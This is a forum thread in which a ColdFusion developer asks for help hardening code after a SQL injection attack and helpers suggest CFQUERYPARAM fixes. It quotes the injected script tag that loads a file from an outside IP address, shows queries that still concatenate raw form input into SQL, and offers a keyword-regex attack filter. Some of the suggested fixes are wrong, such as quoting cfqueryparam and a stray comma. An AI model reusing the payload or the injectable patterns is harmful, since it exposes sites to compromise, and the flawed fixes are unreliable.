My SQL Server 2005 database is under a SQL Injection attack. Am I using CFQUERYPARAM correctly?

Hello. My SQL Server 2005 database is under a SQL Injection attack.

The attack finds the column that comes after the Primary Key in each table, and erases that column and populates it with:

</title><script src='http://94.102.52.27/urchin.js'></script>

I am in the process of changing usernames and passwords for all of my clients' admin screens.

I need to find the leak in the code that allows this script to be injected.

In my ColdFusion code I try to use CFQUERYPARAM in all of my INSERT, UPDATE, and DELETE SQL statements.

However, when I look back at old code, I see some code that might cause a problem.

See examples below. Is this code safe? This is code that I wrote in early 2007 -- three years ago. Can I make this code safer?

Thank you for any advice! I'm in a very bad place right now and could use some help.

Eric


Code in a user_update.cfm file to update a user's information:

<!--- Do it --->
<cfinvoke component="updateUsers"
          method="#method#">

 <!--- UserID only if update method --->
  <cfif IsDefined("FORM.UserID")>
  <cfinvokeargument name="UserID"
                    value="#FORM.UserID#">
 </cfif>
 <cfinvokeargument name="Username"
                   value="#Trim(FORM.Username)#">
 <cfinvokeargument name="FirstName"
                   value="#Trim(FORM.FirstName)#">
 <cfinvokeargument name="LastName"
                   value="#Trim(FORM.LastName)#">
 <cfinvokeargument name="UserEmailAddress"
                   value="#Trim(FORM.UserEmailAddress)#">				   
 <cfinvokeargument name="UserDateAdded"
                   value="#DateFormat(FORM.UserDateAdded)#">
<cfinvokeargument name="UserRoleID"
                   value="#Trim(FORM.UserRoleID)#">	   
</cfinvoke>


Query to simply retrieve information from a database (I don't need CFQUERYPARAM here, correct?)

  <cfquery datasource="ascassociation" dbname="ascassociation" name="getPages">
SELECT PageID,PageURL,PageTitle,PageSubTitle,PageContent,PageAuthor,DateCreated,DateModified
FROM ASCPages
ORDER BY PageID
  </cfquery>
    
 
 Query to simply edit a page:
 
  <cfquery datasource="ascassociation" name="getPagetoEdit">
SELECT PageID,PageURL,PageTitle,PageSubTitle,PageContent,PageAuthor,DateModified
FROM ASCPages
WHERE PageID=<cfqueryparam value="#URL.PageID#" cfsqltype="cf_sql_integer">
</cfquery>


 Code to Insert values into database columns
 	
	<cfquery datasource="ascassociation" dbname="ascassociation" name="createASCPage">
		  
INSERT INTO ASCPages (PageURL,PageTitle,PageSubTitle,PageContent,PageAuthor,DateCreated)
 VALUES(
                <cfqueryparam cfsqltype="cf_sql_varchar" value="#PageURL#">,
                <cfqueryparam cfsqltype="cf_sql_varchar" value="#PageTitle#">,
                <cfqueryparam cfsqltype="cf_sql_varchar" value="#PageSubTitle#">,
                <cfqueryparam cfsqltype="cf_sql_varchar" value="#PageContent#">,
                <cfqueryparam cfsqltype="cf_sql_varchar" value="#PageAuthor#">,
                <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
        )
</cfquery>



A CFC file to update users ... I think I need to use cfqueryparam here, correct?

<cfcomponent hint="Manage ASC Association Users">

 <!--- Set the datsources --->
 <cfset ds="asc">


 <!--- Get User list --->
 <cffunction name="list"
             returntype="query"
             hint="List all users">

  <cfquery datasource="#ds#"
           name="users">
  SELECT UserID, Username, FirstName, LastName, UserRoleID, UserEmailAddress, UserDateAdded
  FROM Users
  ORDER BY Username
  </cfquery>
    
  <cfreturn users>
  
 </cffunction>


 <!--- Get details for a User --->
 <cffunction name="get"
             returntype="query"
             hint="Get user details">
  <cfargument name="UserID"
              type="numeric"
              required="yes"
              hint="UserID">

  <cfquery datasource="#ds#"
           name="users">
  SELECT UserID, Username, FirstName, LastName, UserRoleID, UserEmailAddress, UserDateAdded
  FROM Users
  WHERE UserID=#ARGUMENTS.UserID#
  </cfquery>
  <cfreturn users>
  
 </cffunction>


 <!--- Add a user --->
 <cffunction name="add"
             returntype="boolean"
             hint="Add a User">
  
  <!--- Method arguments --->
  <cfargument name="Username"
              type="string"
              required="yes"
              hint="User title">
  <cfargument name="FirstName"
              type="string"
              required="yes"
              hint="User First">
  <cfargument name="LastName"
              type="string"
              required="yes"
              hint="User Last Name">
  <cfargument name="UserEmailAddress"
              type="string"
              required="yes"
              hint="User Email Address">
  <cfargument name="UserRoleID"
              type="numeric"
              required="yes"
              hint="User Email Address">
  <cfargument name="UserDateAdded"
              type="date"
              required="yes"
              hint="Date added">


  <!--- Insert User --->
  <cfquery datasource="#ds#">
  INSERT INTO Users(Username, FirstName, LastName, UserRoleID, UserEmailAddress, UserDateAdded)
  VALUES('#Trim(ARGUMENTS.Username)#',
         '#Trim(ARGUMENTS.FirstName)#',
		 '#Trim(ARGUMENTS.LastName)#',
		 '#Trim(ARGUMENTS.UserRoleID)#',
 		 '#Trim(ARGUMENTS.UserEmailAddress)#',
          #CreateODBCDate(ARGUMENTS.UserDateAdded)#)
  </cfquery>
  <cfreturn true>

 </cffunction>

 
 <!--- Update a user --->
 <cffunction name="update"
             returntype="boolean"
             hint="Update a User">
  <!--- Method arguments --->
  <cfargument name="UserID"
              type="numeric"
              required="yes"
              hint="update UserID">
  <cfargument name="Username"
              type="string"
              required="yes"
              hint="Username">
  <cfargument name="FirstName"
              type="string"
              required="yes"
              hint="User First Name">
  <cfargument name="LastName"
              type="string"
              required="yes"
              hint="User Last Name">
  <cfargument name="UserEmailAddress"
              type="string"
              required="yes"
              hint="User Email Address">
  <cfargument name="UserRoleID"
              type="numeric"
              required="yes"
              hint="User Role ID">
  <cfargument name="UserDateAdded"
              type="date"
              required="yes"
              hint="Date added">

  <!--- Update User --->
  <cfquery datasource="#ds#">
  UPDATE Users
  SET Username='#Trim(ARGUMENTS.Username)#',
      FirstName='#Trim(ARGUMENTS.FirstName)#',
      LastName='#Trim(ARGUMENTS.LastName)#',
      UserRoleID='#Trim(ARGUMENTS.UserRoleID)#',
      UserEmailAddress='#Trim(ARGUMENTS.UserEmailAddress)#',
      UserDateAdded=#CreateODBCDate(ARGUMENTS.UserDateAdded)#
  WHERE UserID=#ARGUMENTS.UserID#
  </cfquery>
  <cfreturn true>

 </cffunction>
 
 
 <!--- Delete a User --->
 <cffunction name="delete"
             returntype="boolean"
             hint="Delete a user">
  <cfargument name="UserID"
              type="numeric"
              required="yes"
              hint="delete User ID">

  <cfquery datasource="#ds#">
  DELETE FROM Users
  WHERE UserID=#ARGUMENTS.UserID#
  </cfquery>
  <cfreturn true>
  
 </cffunction>


 <!--- Get Users --->
 <cffunction name="getUsers"
             returntype="query"
             hint="Get User list">

  <!--- Get users --->
  <cfquery datasource="#ds#"
           name="users">
  SELECT Username, FirstName, LastName, UserRoleID, UserEmailAddress, UserDateAdded
  FROM Users
  ORDER BY UserID
  </cfquery>
  <cfreturn users>

 </cffunction>


</cfcomponent>

Open in new window

LVL 3
Eric BourlandAsked:
Who is Participating?
I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

Lee SavidgeCommented:
No this is not safe. Never put unprotected queries in production code. SQL injection is easy when you don't sanitise your code and CFQUERYPARAM helps you secure access to your database.

Lee
0
arnoldCommented:
You can not pass the data you received from the form directly into your SQL query, example:
 UserID=#ARGUMENTS.UserID#
You have to use cfqueryparam around any form submitted variable before submitting it into the sql query.



http://www.coldfusioncookbook.com/entry/36/How-can-I-prevent-SQL-injection-attacks
http://www.jasonbartholme.com/2-methods-to-help-prevent-sql-injections-with-coldfusion/
0
Eric BourlandAuthor Commented:
So, for example,

  WHERE UserID=#ARGUMENTS.UserID#

becomes:

  WHERE UserID=<cfqueryparam value="#ARGUMENTS.UserID#" cfsqltype="cf_sql_integer">  
0
Cloud Class® Course: Microsoft Office 2010

This course will introduce you to the interfaces and features of Microsoft Office 2010 Word, Excel, PowerPoint, Outlook, and Access. You will learn about the features that are shared between all products in the Office suite, as well as the new features that are product specific.

Eric BourlandAuthor Commented:
And, for example,

  <!--- Insert User --->
  <cfquery datasource="#ds#">
  INSERT INTO Users(Username, FirstName, LastName, UserRoleID, UserEmailAddress, UserDateAdded)
  VALUES(
 
  '#Trim(ARGUMENTS.Username)#',
         '#Trim(ARGUMENTS.FirstName)#',
             '#Trim(ARGUMENTS.LastName)#',
             '#Trim(ARGUMENTS.UserRoleID)#',
              '#Trim(ARGUMENTS.UserEmailAddress)#',
          #CreateODBCDate(ARGUMENTS.UserDateAdded)#)
  </cfquery>


becomes

<!--- Insert User --->
  <cfquery datasource="#ds#">
  INSERT INTO Users(Username, FirstName, LastName, UserRoleID, UserEmailAddress, UserDateAdded)

  VALUES(
    <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.Username)#">,
    <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.FirstName)#">,
    <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.LastName)#">,
    <cfqueryparam cfsqltype="cf_sql_integer" value="#Trim(ARGUMENTS.UserRoleID)#">,
    <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.UserEmailAddress)#">,
    <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.UserDateAdded)#">
  )
  </cfquery>
 

Correct?
0
Eric BourlandAuthor Commented:
Also, can I protect this query better:

  <!--- Get users --->
  <cfquery datasource="#ds#"
           name="users">
  SELECT Username, FirstName, LastName, UserRoleID, UserEmailAddress, UserDateAdded
  FROM Users
  ORDER BY UserID
  </cfquery>
  <cfreturn users>

 </cffunction>

It is just a statement, in a CFC file, that selects users from a database table.
0
arnoldCommented:
Yes, you should not pass raw user submitted form data to your sql via a query.
There is nothing to protect in the last post unless DS is being provided by the user via the form.
0
Eric BourlandAuthor Commented:
Arnold, thank you very much.

I am going through all of my code to make sure I am using CFQUERYPARAM everywhere I can.

I'll come back to this question in a little while.

Best from eric
0
Eric BourlandAuthor Commented:
Arnold,

Here is an entry in a user registration form ColdFusion file that confuses me:
<!--- Insert the user profile into the database. Note that the
        password is salted and then hashed using the Hash( ) function --->
  <cfquery name="AddUser" datasource="#APPLICATION.dataSource#">
    INSERT INTO Users(FirstName, LastName, UserName, Salt, Password, UserRoleID, UserEmailAddress, UserDateAdded)
    VALUES(
    '#form.FirstName#',
    '#form.LastName#',
    '#form.UserName#',
    '#Salt#',
    '#Hash(Salt & form.Password1)#',
    5,
    '#form.UserEmailAddress#',
    <cfqueryparam cfsqltype="cf_sql_date" value="#form.UserDateAdded#">)
  </cfquery>

Is there a way I can edit this? The Salt and Hash syntax is a little different and I don't want to mess it up. The presence of the apostrophes ' confuses me.

Eric
0
arnoldCommented:
The (') deals with the type of data that is being inserted i.e. characters have to be enclosed in (') while numbers/integers do not

you have an example of the insert where you are using the cfqueryparam
You should validate the entry if you are not doing it already i.e. password can not be shorter than x number of characters or longer than y number of characters and can only be made up of alphanumeric, and some punctuation i.e. ., _, space, etc.Which will eliminate the injection through the password field.
try:
The UserDateAddedd should simply use server date versus what date is provided by the browser/client.  This will eliminate the addition in the future when the user's timezone is different than yours.  The more accurate mechanism is to use the local server time for dateadded, last modified, etc. and when these dates need to be displayed, the time zone of the client needs to be taken into account.
I think the salt variable is random within your code on the server versus something a user would provide.
<!--- Insert the user profile into the database. Note that the
        password is salted and then hashed using the Hash( ) function --->
  <cfquery name="AddUser" datasource="#APPLICATION.dataSource#">
    INSERT INTO Users(FirstName, LastName, UserName, Salt, Password, UserRoleID, UserEmailAddress, UserDateAdded)
    VALUES(
    '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.FirstName#">',
    '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.LastName#">',
    '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserName#">',
    '#Salt#',
    '#Hash(Salt & form.Password1)#',
    5,
    '#form.UserEmailAddress#',
    <cfqueryparam cfsqltype="cf_sql_date" value="#form.UserDateAdded#">)
  </cfquery>

Open in new window

0
arnoldCommented:
Missed the cfquesry param on the useremai laddress.
<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#">
0
Eric BourlandAuthor Commented:
Cool! So, I changed this:

<!--- Insert the user profile into the database. Note that the
        password is salted and then hashed using the Hash( ) function --->
  <cfquery name="AddUser" datasource="#APPLICATION.dataSource#">
    INSERT INTO Users(FirstName, LastName, UserName, Salt, Password, UserRoleID, UserEmailAddress, UserDateAdded)
    VALUES(
    '#form.FirstName#',
    '#form.LastName#',
    '#form.UserName#',
    '#Salt#',
    '#Hash(Salt & form.Password1)#',
    5,
    '#form.UserEmailAddress#',
    <cfqueryparam cfsqltype="cf_sql_date" value="#form.UserDateAdded#">)
  </cfquery>


to

  <!--- Insert the user profile into the database. Note that the
        password is salted and then hashed using the Hash( ) function --->
  <cfquery name="AddUser" datasource="#APPLICATION.dataSource#">
    INSERT INTO Users(FirstName, LastName, UserName, Salt, Password, UserRoleID, UserEmailAddress, UserDateAdded)
    VALUES(
    '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.FirstName#" maxlength="8">',
    '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.LastName#" maxlength="8">',
    '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserName#" maxlength="8">',
    '#Salt#',
    '#Hash(Salt & form.Password1)#',
    5,
    <cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#" maxlength="15">
    <cfqueryparam cfsqltype="cf_sql_date" value="#form.UserDateAdded#" maxlength="10">)
  </cfquery>
0
arnoldCommented:
try and see if it works, the only issue that may exist deals with the form.password1 field.
you could try the same mechanism you used with the TRIM
<cfqueryparam cfsqltype="cf_sql_varchar" value="#Hash(Salt & form.Password1)#">
not sure why you are storring the SALT which is part of the HASHED data
i.e.
the hashed password will have the salt as its first few characters
i.e HASH (password_from_datasource & password_sumbitted_in_the_form)=password_from_datasource
If it does not match, the password_submitted_in_the_form is incorrect.
You can not use the SALT to reveal the submitted password.

The restrictions maxlength, might be too small.
0
Eric BourlandAuthor Commented:
Arnold, you are right, I do get a problem with the above code:

 Error Executing Database Query.
[DataDirect][SequeLink JDBC Driver]Invalid parameter binding(s).
 
The error occurred in D:\websites\ascassociation.org\registration.cfm: line 53

51 :     5,
52 :     <cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#" maxlength="15">,
53 :     <cfqueryparam cfsqltype="cf_sql_date" value="#form.UserDateAdded#">)
54 :   </cfquery>
55 :

Invalid parameter binding(s) .... what could that mean? Thank you again!

Eric
<!--- Insert the user profile into the database. Note that the
        password is salted and then hashed using the Hash( ) function --->
  <cfquery name="AddUser" datasource="#APPLICATION.dataSource#">
    INSERT INTO Users(FirstName, LastName, UserName, Salt, Password, UserRoleID, UserEmailAddress, UserDateAdded)
    VALUES(
    '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.FirstName#" maxlength="8">',
    '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.LastName#" maxlength="8">',
    '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserName#" maxlength="8">',
    '#Salt#',
    '#Hash(Salt & form.Password1)#',
    5,
    <cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#" maxlength="15">,
    <cfqueryparam cfsqltype="cf_sql_date" value="#form.UserDateAdded#">)
  </cfquery>

Open in new window

0
gdemariaCommented:
   <cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#" maxlength="15">,



15 characters is not very large for an email address, are you sure that is enough?

 If you do have such a limit, you need to verify the length of the email before you get to cfqueryparam so you can give the user a friendly error message, you don't want cfqueryparam throwing an error that you show the user because they entered too many characters for their email address

     <cfqueryparam cfsqltype="cf_sql_date" value="#form.UserDateAdded#">

The data type here is DATE, you have to ensure the form variable contains a valid date, if it's not a date, cfqueryparam with throw an error.   I believe if the variable is EMPTY, that will throw an error too (because empty is not a date)


     <cfqueryparam cfsqltype="cf_sql_date" value="#form.UserDateAdded#" null="#NOT len(form.UserDateAdded)#">

0

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
Eric BourlandAuthor Commented:
gdemaria,

thank you for this.

In registration.cfm, I use this code:

  <!--- Insert the user profile into the database. Note that the
        password is salted and then hashed using the Hash( ) function --->

  <cfquery name="AddUser" datasource="#APPLICATION.dataSource#">

    INSERT INTO Users(FirstName, LastName, UserName, Salt, Password, UserRoleID, UserEmailAddress, UserDateAdded)

    VALUES(
    '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.FirstName#">',
    '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.LastName#">',
    '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserName#">',
    '#Salt#',
    '#Hash(Salt & form.Password1)#',
    '5',
    '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#">',
    '<cfqueryparam cfsqltype="cf_sql_date" value="#form.UserDateAdded#" null="#NOT len(form.UserDateAdded)#">')
  </cfquery>

I took away the maxlength ... it seems to be causing trouble, though I'd like to use it to limit the number of characters a hacker might introduce.

When I try to register a new person I still get this error:

 Error Executing Database Query.
[DataDirect][SequeLink JDBC Driver]Invalid parameter binding(s).
 
The error occurred in D:\websites\ascassociation.org\registration.cfm: line 53

51 :     '5',
52 :     '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#">',
53 :     '<cfqueryparam cfsqltype="cf_sql_date" value="#form.UserDateAdded#" null="#NOT len(form.UserDateAdded)#">')
54 :   </cfquery>
55 :


It still does not like how I format the date. Hmmm.

0
gdemariaCommented:

Remove the surrounding quotes, add createODBCdate() and lengthen your maxlengths to reasonable values for your input




 VALUES(
     <cfqueryparam cfsqltype="cf_sql_varchar" value="#form.FirstName#" maxlength="30">
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.LastName#" maxlength="30">
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserName#" maxlength="30">
    ,'#Salt#',
    ,'#Hash(Salt & form.Password1)#'
    ,5
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#" maxlength="60">
    ,<cfqueryparam cfsqltype="cf_sql_date" NULL="#Not Len(form.UserDateAdded)#" value="#createODBCdate(form.UserDateAdded)#">
)

Open in new window

0
arnoldCommented:
I am not sure what the valid formats are:
but is yours of the form
2010-04-05 HH:MM:SS
Mon 5, Apr 2010 HH:MM:SS?
Eliminate the date line and insert the current_timestamp or GETDATE()
http://blog.sqlauthority.com/2008/08/01/sql-server-2008-get-current-system-date-time/

i.e. insert into users (UderDateAdded,..) Values (current_timestamp,...).
This will have the UserDateAdded field reflect the time the transaction went through the server.

<!--- Insert the user profile into the database. Note that the
        password is salted and then hashed using the Hash( ) function --->
  <cfquery name="AddUser" datasource="#APPLICATION.dataSource#">
    INSERT INTO Users(FirstName, LastName, UserName, Salt, Password, UserRoleID, UserEmailAddress, UserDateAdded)
    VALUES(
    '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.FirstName#" maxlength="8">',
    '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.LastName#" maxlength="8">',
    '<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserName#" maxlength="8">',
    '#Salt#',
    '#Hash(Salt & form.Password1)#',
    5,
    <cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#" maxlength="15">,
    GETDATE())
  </cfquery>

Open in new window

0
Eric BourlandAuthor Commented:
Gentlemen, thanks for your ideas.

I have had an interesting day, and, having resolved many other weird unexpected problems, will now tackle these weird and unexpected problems.

I am deeply grateful to you both. I wish we lived in the same town so I could make dinner for you or something.

I am in the process of updating passwords -- on my SQL server; FTP server; web server; personal client computer.

I am just assuming everything is compromised. And that I am behind an 8-ball, or a big rolling boulder like Wile E. Coyote. =)

I am keeping a cool head and taking this step by step.

Again, my thanks.

Eric
0
Eric BourlandAuthor Commented:
gdemaria,

When I try this:

 
 <!--- Insert the user profile into the database. Note that the
        password is salted and then hashed using the Hash( ) function --->
  <cfquery name="AddUser" datasource="#APPLICATION.dataSource#">
    INSERT INTO Users(FirstName, LastName, UserName, Salt, Password, UserRoleID, UserEmailAddress, UserDateAdded)
    VALUES(
     <cfqueryparam cfsqltype="cf_sql_varchar" value="#form.FirstName#" maxlength="30">
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.LastName#" maxlength="30">
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserName#" maxlength="30">
    ,'#Salt#',
    ,'#Hash(Salt & form.Password1)#'
    ,5
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#" maxlength="60">
    ,<cfqueryparam cfsqltype="cf_sql_date" NULL="#Not Len(form.UserDateAdded)#" value="#createODBCdate(form.UserDateAdded)#">
)
  </cfquery>

I get a syntax error:

 Error Executing Database Query.
[Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC Microsoft Access Driver] Syntax error in INSERT INTO statement.
 
The error occurred in D:\websites\ascassociation.org\registration.cfm: line 52

50 :     ,5
51 :     ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#" maxlength="60">
52 :     ,<cfqueryparam cfsqltype="cf_sql_date" NULL="#Not Len(form.UserDateAdded)#" value="#createODBCdate(form.UserDateAdded)#">
53 : )
54 :   </cfquery>

I'm studying this but the syntax looks OK to me. I attach full code below.
<cfinclude template="/SiteHeader.cfm" />

<cfparam name="FORM.UserDateAdded" default="#DateFormat(NOW(), 'MM/DD/YYYY')#">

<cfset application.datasource = "asc">


<h2>Please create a username and password</h2>


<cfif CGI.request_method is "Post">
  <!--- Check to see that passwords match in case the user had JavaScript disabled --->
  <cfif form.Password1 neq form.Password2>
    <h2>The passwords you entered on the registration screen do not match. Please hit your browser's Return button and enter the passwords again, taking careful note of them.</h2>
    <cfabort>
  </cfif>

  <!--- Check to make sure the Username (the primary key) doesn't already
        exist. If it does, make the user go back and enter a different Username --->
  <cfquery name="CheckPK" datasource="#APPLICATION.datasource#">
    SELECT UserName
    FROM Users
    WHERE UserName = <cfqueryparam value="#form.UserName#" cfsqltype="CF_SQL_VARCHAR" maxlength="8">
  </cfquery>
 
 

<cfif CheckPK.RecordCount GT 0>
    <cflocation URL="Registration.cfm?Message=#URLEncodedFormat("The Username you chose already exists, please choose a different Username.")#&UserName=#URLEncodedFormat(form.UserName)#" addtoken="No">
 </cfif>
 
 
    <!--- Create Salt for the password hash --->
  <cfset Salt="">
  <cfloop index="i" from="1" to="12">
    <cfset Salt = Salt & chr(RandRange(65,90))>
  </cfloop>
 
 <!--- Insert the user profile into the database. Note that the
        password is salted and then hashed using the Hash( ) function --->
  <cfquery name="AddUser" datasource="#APPLICATION.dataSource#">
    INSERT INTO Users(FirstName, LastName, UserName, Salt, Password, UserRoleID, UserEmailAddress, UserDateAdded)
    VALUES(
     <cfqueryparam cfsqltype="cf_sql_varchar" value="#form.FirstName#" maxlength="30">
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.LastName#" maxlength="30">
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserName#" maxlength="30">
    ,'#Salt#',
    ,'#Hash(Salt & form.Password1)#'
    ,5
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#" maxlength="60">
    ,<cfqueryparam cfsqltype="cf_sql_date" NULL="#Not Len(form.UserDateAdded)#" value="#createODBCdate(form.UserDateAdded)#">
)
  </cfquery>



 <cflocation URL="/admin/manageUser.cfm?regcomplete">
<cfelse>

 <cfparam name="form.FirstName" default="">
    <cfparam name="form.LastName" default="">
 
 
<p>Please choose a username and password, and enter them below. Please make a note of the username and password that you select.</p>
 
  <cfif IsDefined('URL.Message')>
    <cfoutput><span style="Message">#URL.Message#</span></cfoutput>
    <p>
  </cfif>
 
 
 
  <!--- begin registration form --->
 
  <cfform name="PortalRegistration" action="#CGI.script_name#" method="POST" onSubmit="return formCheck( )">

  <table border=0>
    <tr>
      <td>First Name:</td>
     <td><cfinput       type="Text"
                               name="FirstName"
                              message="Please enter a First Name for this user."
                              required="Yes"
                              validateAt="onSubmit,onServer"  
                               size="15"
                               maxlength="8"></td>
    </tr>
          <tr>
      <td>Last Name:</td>
     <td><cfinput       type="Text"
                               name="LastName"
                              message="Please enter a Last Name for this user."
                              required="Yes"
                              validateAt="onSubmit,onServer"  
                              size="15"
                              maxlength="12"></td>
    </tr>
      <tr>
      <td>Email Address:</td>
     <td><cfinput       type="Text"
                               name="UserEmailAddress"
                              message="Please enter an email address for this user."
                              required="Yes"
                              validateAt="onSubmit,onServer"
                              size="15"
                              maxlength="25"></td>
    </tr>
    <tr>
      <td>Username:</td>
      <td><cfinput       type="Text"
                                name="UserName"
                              message="Please enter a Username."
                              required="Yes"
                              validateAt="onSubmit,onServer"
                              size="15"
                              maxlength="8"></td>
    </tr>
    <tr>
      <td>Password:</td>
      <td><cfinput       type="password"
                                name="Password1"
                              message="Please enter a Password."
                              required="Yes"
                              validateAt="onSubmit,onServer"
                              size="15"
                              maxlength="12"></td>
    </tr>
    <tr>
      <td>Confirm Password:</td>
      <td><cfinput       type="password"
                                name="Password2"
                              size="15"
                              maxlength="12"></td>
    </tr>

        <tr>
      <td>Date Added:</td>

      <td><div class="smallgray">Please enter a registration date in form mm/dd/yyyy.</div>
   
  <cfinput type="Text"
                  name="UserDateAdded"
                  value="#FORM.UserDateAdded#"
                  message="Please enter a registration date in form mm/dd/yyyy."
                  required="Yes"
                  validate="date"
                  validateAt="onSubmit,onServer"
                  size="10"
                  maxlength="10"></td>
    </tr>


    <tr>
      <td colspan="2" align="Center"><cfinput type="Submit" name="Submit" value="Create"></td>
    </tr>
  </table>
 
 
 
  </cfform>
 
</cfif>


  <cfinclude template="/SiteFooter.cfm" />

Open in new window

0
gdemariaCommented:
Eric,  cfqueryparam helps prevent invalid data to be accepted, so it's difficult to trouble shoot the code unless we know what value form.userdateAdded  has?

Before the insert, can you output the value of form.userDateAdded so we know what value it's trying to add?  

 If the value is "Blue Grass Music"  then it will error correctly, that is why I keep suggesting that you test your data before it gets to the cfqueryparm.

 You should have this coldfusion statement in your validation area.

<cfif len(form.userDateAdded) and NOT isDate(form.userDateAdded)>
  <cfthrow message="Invalid Date in User Date Added Field">
</cfif>


If you have that, you can actually replace this...

<cfqueryparam cfsqltype="cf_sql_date" NULL="#Not Len(form.UserDateAdded)#" value="#form.UserDateAdded#">


with this....


  , #createODBCdate(form.UserDateAdded)#


If the value is supposed to be just todays date, you don't need a variable at all because the user doesn't have to type it into the form.

 Just do this...

 , getDate()

0
Gurpreet Singh RandhawaCEOCommented:
Use as suggested by the Experts!

<cfqueryparam cfsqltype="cf_sql_date" value="#form.UserDateAdded#" maxlength="10">

also do this in your application.cfc for furthur security:

<cftry>
    <CFSET SQL_Words="[ ;](insert +into.+values|drop +table|create +table)">
    <CFLOOP COLLECTION="#url#" ITEM="var">
      <CFIF IsSimpleValue(Evaluate(var)) AND REFindNoCase(SQL_Words, Evaluate(var)) NEQ 0>
        <CFTHROW TYPE="SQLAttack" MESSAGE="Invalid URL value passed.">
      </CFIF>
    </CFLOOP>
    <CFLOOP COLLECTION="#form#" ITEM="var">
      <CFIF IsSimpleValue(Evaluate(var)) AND REFindNoCase(SQL_Words, Evaluate(var)) NEQ 0>
        <CFTHROW TYPE="SQLAttack" MESSAGE="Invalid Form value passed.">
      </CFIF>
    </CFLOOP>
    <cfcatch type="any">
      <div align="center">
        <h3><cfoutput>#cfcatch.Detail#</cfoutput></h3>
      </div>
      <cfabort>
    </cfcatch>
  </cftry>
0
Eric BourlandAuthor Commented:
OK, I will try to explain better. I am also trying to understand your points, above.

>>>it's difficult to trouble shoot the code unless we know what value form.userdateAdded  has?

I enter the date in this form: 04/05/2010

However, at the top of registration.cfm, I have this line:

<cfparam name="FORM.UserDateAdded" default="#DateFormat(NOW(), 'MM/DD/YYYY')#">

And, I am doing it wrong. I do not need a form field at all for UserDateAdded. Of course! I do not need to manually enter a date for variable UserDateAdded.

OK, how to fix this... UserDateAdded can be a hidden form field.

<input type="hidden"
               name="UserDateAdded"
               value="#now()#">

I'll try that and see what I get.

Am I going down the correct path?

Eric
 
0
gdemariaCommented:
Just do this...

 , getDate()


Put that in your SQL statement, it's SQL for Now()

0
Gurpreet Singh RandhawaCEOCommented:
u can do it simple way: if u use any database do not fill dataes as such do it like:

<cfqueryparam cfsqltype="cf_sql_timestamp" value="#CreateODBCDateTime(now())#"> to enter full date and time

to enter only date use this:

<cfqueryparam cfsqltype="cf_sql_date" value="#CreateODBCDateTime(now())#"> to enter full date
0
Eric BourlandAuthor Commented:
myselfrandhawa -- I will have to take a few minutes to think your code. Thank you for sending that. I will review it carefully.

gdemaria -- OK, I did as you said: I added  , getDate() in the SQL statement. Now, that seems to have solved the date problem.

I get this new syntax error:

 Error Executing Database Query.
[Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC Microsoft Access Driver] Syntax error in INSERT INTO statement.
 
The error occurred in D:\websites\ascassociation.org\registration.cfm: line 48

46 :     ,'#Hash(Salt & form.Password1)#'
47 :     ,5
48 :     ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#" maxlength="60">
49 :     , getDate()
50 : )

SQLSTATE         42000
SQL          INSERT INTO Users(FirstName, LastName, UserName, Salt, Password, UserRoleID, UserEmailAddress, UserDateAdded) VALUES( (param 1) , (param 2) , (param 3) ,'RDXHGMJGSQJL', ,'C0EDC237239E0FACAE829AB24BDAE043' ,5 , (param 4) , getDate() )
VENDORERRORCODE         -3502
DATASOURCE         asc
<cfinclude template="/SiteHeader.cfm" />

<cfset application.datasource = "asc">

<h2>Please create a username and password</h2>

<cfif CGI.request_method is "Post">
